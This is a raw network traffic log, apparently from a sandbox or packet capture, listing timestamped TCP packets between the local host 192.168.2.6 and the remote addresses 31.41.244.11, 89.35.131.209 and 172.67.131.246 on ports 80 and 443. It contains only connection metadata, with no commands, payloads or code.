Dec 20, 2024 17:43:39.860763073 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.860848904 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.861340046 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.861721039 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.861774921 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.862477064 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.862550974 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.862701893 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.862721920 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.862747908 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.862766981 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.863683939 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.863934040 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.863969088 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.863995075 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.864651918 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.864694118 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.864866972 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.864928961 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.865673065 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.865715981 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.865763903 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.866192102 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.866719007 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.866833925 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.866889954 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.867132902 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.867600918 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.867655039 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.867842913 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.867882967 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.938324928 CET	49757	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:39.979336977 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.979437113 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.979856968 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.979872942 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.979912996 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.979948044 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.980900049 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.980947018 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.980993032 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.981781960 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.981823921 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.981878042 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.982741117 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.982784033 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.982873917 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.983722925 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.984117031 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.984174013 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.984652042 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.984977007 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.985022068 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.985599041 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.985640049 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.985680103 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.985738993 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.986517906 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.986628056 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.986634016 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:39.986648083 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.986669064 CET	443	49758	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:39.986670971 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.986886978 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:39.987380028 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:39.987395048 CET	443	49758	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:39.987413883 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.987718105 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.987766027 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.988353014 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.988909960 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.988954067 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.989264965 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.989315033 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.989348888 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.989447117 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.990181923 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.990231991 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.990300894 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.990339994 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.991017103 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.991091013 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.991134882 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.991182089 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.991900921 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.992027998 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.992084026 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.992779016 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.992849112 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.992902040 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.993675947 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.993738890 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.994306087 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.994544029 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.994682074 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.994723082 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.995425940 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.995865107 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.996381998 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.996428013 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.996572971 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.997071028 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.997248888 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.997349977 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.997394085 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.998097897 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.998183966 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.998656988 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.998946905 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.999249935 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.999871969 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.999917030 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.000036955 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.000395060 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.000710964 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.000751972 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.000921965 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.000958920 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.001929998 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.001969099 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.002034903 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.002440929 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.002522945 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.002604008 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.002643108 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.003458023 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.003660917 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.003701925 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.004252911 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.004374981 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.004416943 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.005136967 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.005186081 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.005357027 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.005400896 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.006009102 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.006277084 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.006325006 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.006952047 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.007246971 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.007292032 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.007932901 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.008409977 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.008708000 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.008723021 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.008764029 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.008780956 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.009586096 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.009744883 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.009843111 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.010464907 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.010799885 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.010849953 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.011384964 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.011462927 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.012196064 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.012247086 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.012387037 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.012885094 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.013056040 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.013259888 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.013315916 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.013974905 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.014410019 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.014463902 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.015202999 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.015332937 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.015599012 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.015748024 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.015763044 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.015851974 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.016675949 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.016834974 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.017488956 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.017539978 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.017889023 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.018124104 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.018416882 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.018466949 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.018538952 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.018714905 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.019267082 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.019404888 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.019458055 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.020152092 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.020325899 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.020378113 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.021419048 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.021470070 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.021543026 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.021920919 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.021971941 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.022265911 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.022603035 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.022778988 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.022831917 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.022986889 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.023031950 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.026505947 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.026592970 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.026746988 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.026794910 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.026956081 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.027179956 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.027228117 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.027661085 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.027858019 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.027900934 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.028573990 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.028624058 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.028830051 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.029403925 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.058142900 CET	80	49757	89.35.131.209	192.168.2.6
Dec 20, 2024 17:43:40.058270931 CET	49757	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:40.058609009 CET	49757	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:40.171479940 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.171587944 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.171648026 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.171899080 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.172148943 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.172204971 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.172888041 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.173342943 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.173655987 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.173712969 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.173758984 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.174053907 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.174555063 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.174609900 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.174760103 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.174806118 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.175410986 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.175616026 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.175673962 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.176300049 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.176350117 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.176436901 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.177284956 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.177314043 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.177336931 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.177412033 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.177599907 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.178127050 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.178174019 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.178334951 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.178385973 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.178951025 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.179111004 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.179183006 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.179230928 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.179835081 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.179887056 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.180041075 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.180089951 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.180743933 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.180862904 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.180898905 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.180953979 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.181601048 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.181672096 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.181921959 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.182482958 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.182549000 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.182692051 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.182733059 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.183150053 CET	80	49757	89.35.131.209	192.168.2.6
Dec 20, 2024 17:43:40.183376074 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.183428049 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.183520079 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.183558941 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.184243917 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.184333086 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.184364080 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.184401035 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.185118914 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.185209990 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.185240984 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.185281992 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.186021090 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.186068058 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.186338902 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.186386108 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.186918020 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.186959982 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.187410116 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.187469006 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.187772989 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.187818050 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.187848091 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.187891006 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.188679934 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.188780069 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.188791037 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.188832045 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.189563036 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.189609051 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.190010071 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.190078020 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.190418959 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.190464020 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.190653086 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.190701962 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.191328049 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.191392899 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.191428900 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.191471100 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.192194939 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.192243099 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.192322016 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.192367077 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.193082094 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.193130016 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.193212032 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.193252087 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.193943024 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.194087982 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.194133043 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.194823980 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.194871902 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.194987059 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.195031881 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.195734024 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.195781946 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.195822954 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.195872068 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.196599007 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.196645021 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.196768999 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.196816921 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.197489023 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.197542906 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.197644949 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.197688103 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.198390007 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.198482990 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.198559999 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.198626995 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.199239969 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.199388981 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.199564934 CET	80	49745	31.41.244.11	192.168.2.6
